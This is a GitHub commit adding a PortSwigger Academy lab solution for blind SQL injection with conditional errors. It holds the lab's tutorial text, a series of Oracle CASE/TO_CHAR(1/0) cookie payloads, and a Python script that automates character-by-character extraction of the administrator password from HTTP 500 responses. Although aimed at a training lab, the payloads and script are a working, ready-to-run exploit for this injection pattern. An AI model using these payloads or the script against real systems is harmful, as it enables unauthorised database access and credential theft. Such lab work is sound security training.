Skip to content

Commit 7ee0ae1

Browse files
committed
Blind SQL injection with conditional errors
1 parent 5d12073 commit 7ee0ae1

File tree

3 files changed

+197
-0
lines changed

3 files changed

+197
-0
lines changed

port_swigger_academy/sqli/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ SQL injection is an old-but-gold vulnerability responsible for many high-profile
1414
- [Lab 9 - SQL injection attack, listing the database contents on non-Oracle databases](sqli_lab_09/)
1515
- [Lab 10 - SQL injection attack, listing the database contents on Oracle](sqli_lab_10/)
1616
- [Lab 11 - Blind SQL injection with conditional responses](sqli_lab_11/)
17+
- [Lab 12 - Blind SQL injection with conditional errors](sqli_lab_12/)
1718

1819
## Credits
1920
- [Web Security Academy - SQL injection](https://portswigger.net/web-security/sql-injection)
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
## Inducing conditional responses by triggering SQL errors
2+
3+
In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.
4+
5+
In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition.
6+
7+
To see how this works, suppose that two requests are sent containing the following `TrackingId` cookie values in turn:
8+
9+
`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a`
10+
11+
These inputs use the `CASE` keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the `CASE` expression evaluates to `'a'`, which does not cause any error. With the second input, it evaluates to `1/0`, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.
12+
13+
Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:
14+
15+
`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`
16+
17+
#### Note
18+
19+
There are various ways of triggering conditional errors, and different techniques work best on different database types. For more details, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
20+
21+
# Lab: Blind SQL injection with conditional errors
22+
23+
This lab contains a [blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
24+
25+
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
26+
27+
The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability to find out the password of the `administrator` user.
28+
29+
To solve the lab, log in as the `administrator` user.
30+
31+
#### Solution
32+
33+
1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the `TrackingId` cookie. For simplicity, let's say the original value of the cookie is `TrackingId=xyz`.
34+
2. Modify the `TrackingId` cookie, appending a single quotation mark to it:
35+
36+
`TrackingId=xyz'`
37+
38+
Verify that an error message is received.
39+
40+
3. Now change it to two quotation marks:`TrackingId=xyz''`Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response.
41+
4. You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:
42+
43+
`TrackingId=xyz'||(SELECT '')||'`
44+
45+
In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query:
46+
47+
`TrackingId=xyz'||(SELECT '' FROM dual)||'`
48+
49+
As you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all `SELECT` statements to explicitly specify a table name.
50+
51+
5. Now that you've crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:
52+
53+
`TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'`
54+
55+
This time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.
56+
57+
6. As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the `users` table exists, send the following query:
58+
59+
`TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'`
60+
61+
As this query does not return an error, you can infer that this table does exist. Note that the `WHERE ROWNUM = 1` condition is important here to prevent the query from returning more than one row, which would break our concatenation.
62+
63+
7. You can also exploit this behavior to test conditions. First, submit the following query:
64+
65+
`TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'`
66+
67+
Verify that an error message is received.
68+
69+
8. Now change it to:
70+
71+
`TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'`
72+
73+
Verify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The `CASE` statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions `1=1` and `1=2`, and an error is received when the condition is `true`.
74+
75+
9. You can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username `administrator` exists:
76+
77+
`TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
78+
79+
Verify that the condition is true (the error is received), confirming that there is a user called `administrator`.
80+
81+
10. The next step is to determine how many characters are in the password of the `administrator` user. To do this, change the value to:
82+
83+
`TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
84+
85+
This condition should be true, confirming that the password is greater than 1 character in length.
86+
87+
11. Send a series of follow-up values to test different password lengths. Send:
88+
89+
`TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
90+
91+
Then send:
92+
93+
`TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
94+
95+
And so on. You can do this manually using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long.
96+
97+
12. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu.
98+
13. In the Positions tab of Burp Intruder, clear the default payload positions by clicking the "Clear §" button.
99+
14. In the Positions tab, change the value of the cookie to:
100+
101+
`TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
102+
103+
This uses the `SUBSTR()` function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.
104+
105+
15. Place payload position markers around the final `a` character in the cookie value. To do this, select just the `a`, and click the "Add §" button. You should then see the following as the cookie value (note the payload position markers):
106+
107+
`TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
108+
16. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. Go to the Payloads tab, check that "Simple list" is selected, and under "Payload Options" add the payloads in the range a - z and 0 - 9. You can select these easily using the "Add from list" drop-down.
109+
17. Launch the attack by clicking the "Start attack" button or selecting "Start attack" from the Intruder menu.
110+
18. Review the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The "Status" column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.
111+
19. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
112+
113+
`TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
114+
20. Launch the modified attack, review the results, and note the character at the second offset.
115+
21. Continue this process testing offset 3, 4, and so on, until you have the whole password.
116+
22. In the browser, click "My account" to open the login page. Use the password to log in as the `administrator` user.
117+
118+
```bash
119+
$ python3 sqli_lab_12.py "https://acfa1f5d1f02ef5cc031208800f60004.web-security-academy.net/"
120+
121+
>> Blind SQL injection with conditional errors
122+
>> by Port Swigger Academy
123+
124+
[*] Retrieving administrator password..
125+
rfkrisfvkp7u3o9ztscg
126+
```
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
import requests
5+
import urllib3
6+
import urllib.parse
7+
8+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
9+
10+
class Interface ():
11+
def __init__ (self):
12+
self.red = '\033[91m'
13+
self.green = '\033[92m'
14+
self.white = '\033[37m'
15+
self.yellow = '\033[93m'
16+
self.bold = '\033[1m'
17+
self.end = '\033[0m'
18+
19+
def header(self):
20+
print('\n >> Blind SQL injection with conditional errors')
21+
print(' >> by Port Swigger Academy\n')
22+
23+
def info (self, message):
24+
print(f"[{self.white}*{self.end}] {message}")
25+
26+
def warning (self, message):
27+
print(f"[{self.yellow}!{self.end}] {message}")
28+
29+
def error (self, message):
30+
print(f"[{self.red}x{self.end}] {message}")
31+
32+
def success (self, message):
33+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
34+
35+
# Instantiate our interface class
36+
global output
37+
output = Interface()
38+
output.header()
39+
40+
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
41+
42+
def sqli_password(url):
43+
password_extracted = ""
44+
for i in range(1,21):
45+
for j in range(32,126):
46+
sqli_payload ="' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j)
47+
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
48+
cookies = { 'session': 'XELSCR8PrJi5EsxrQDPYfG3s35icl7XI', 'TrackingId': 'SBigBz63tViF9Xsd' + sqli_payload_encoded}
49+
response = requests.get(url, cookies=cookies,verify=False, proxies=proxies)
50+
if response.status_code == 500:
51+
password_extracted +=chr(j)
52+
sys.stdout.write('\r'+ password_extracted)
53+
sys.stdout.flush()
54+
break
55+
else:
56+
sys.stdout.write('\r' + password_extracted + chr(j))
57+
sys.stdout.flush()
58+
59+
def main():
60+
if len(sys.argv) !=2:
61+
output.info("Usage: %s <url>" % sys.argv[0])
62+
output.info("Example: %s <url>" % sys.argv[0])
63+
sys.exit(-1)
64+
65+
url = sys.argv[1]
66+
output.info("Retrieving administrator password..")
67+
sqli_password(url)
68+
69+
if __name__ == "__main__":
70+
main()

0 commit comments

Comments
 (0)